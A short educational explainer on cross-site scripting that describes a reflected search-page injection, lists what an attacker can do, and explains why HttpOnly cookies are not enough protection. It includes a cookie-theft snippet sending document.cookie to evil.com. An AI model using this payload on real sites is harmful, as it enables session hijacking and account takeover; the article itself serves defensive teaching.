A cross-site scripting (XSS) hole is when an attacker can inject scripts into a page sent by your server. Browsers treat these injected scripts like any other script in the page.
For example, if http://www.yoursite.com/search?q=<scrypt>alert(5)</scrypt> returns "<p>There were no hits for <scrypt>alert(5)</scrypt>.</p>", your site is vulnerable to a simple XSS hole. If a malicious site links to such a URL, it can take control over the user's account on the site in several ways:
Steal cookies for that site (location = "http://evil.com/stealcookie.cgi?cookie=" + encodeURIComponent(document.cookie)). Steal passwords for that site that are stored by the browser, or that users are willing to enter after checking that they are on the correct site. Read the user's data on the site or act on behalf of the user using iframes and DOM. Set up an interactive session for the attacker to control the user's account, using the user's browser as a proxy, as long as the user doesn't leave the page. (This defeats any security-by-obscurity you might have.) If the site has another XSS hole that can be exploited through a cookie, a normal XSS hole can be used to set a cookie, resulting in a permanent attack.
Internet Explorer supports a non-standard extension to HTTP cookies called HttpOnly. HttpOnly guards against the first version of XSS attacks, but only the first version (except in some clever cases involving multiple subdomains). Because of this, and because Firefox does not support HttpOnly (bug 178993), you should not rely on HttpOnly to protect your site and visitors.
Even on sites where users do not have accounts, XSS holes can be a problem. For example, intranet sites are automatically limited to users within the intranet, but XSS holes can allow outsiders to access them through the web browsers of employees.